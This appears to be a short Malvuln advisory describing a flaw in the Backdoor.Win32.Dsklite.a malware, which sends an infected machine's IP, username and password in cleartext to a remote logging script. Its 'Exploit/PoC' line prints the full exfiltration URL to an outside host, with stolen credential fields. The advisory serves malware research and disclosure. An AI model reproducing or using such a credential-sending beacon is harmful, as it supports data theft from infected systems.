Backdoor.Win32.Dsklite.a malware suffers from an insecure transit vulnerability that discloses credentials.
da03b3b7e338fdc7973f7420211d05e7Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Dsklite.a
Vulnerability: Insecure Transit
Description: The malware listens on TCP ports 890, 891 and makes an outbound HTTP request passing the ip-address, username and credentials of the infected system in cleartext as part of the URL query string.
Type: PE32
MD5: 6c9665de78ae60a8e057d2c9cdb91596
Vuln ID: MVID-2022-0445
Dropped files: winlogon.exe
Disclosure: 01/05/2022
Exploit/PoC:
http://alch.port5.com/cgi-bin/log.cgi?action=log&ip=192.168.18.129&port=890&vicname=CockSucker&server=DSK%20v1&password=nhn221c5&usrname=gg
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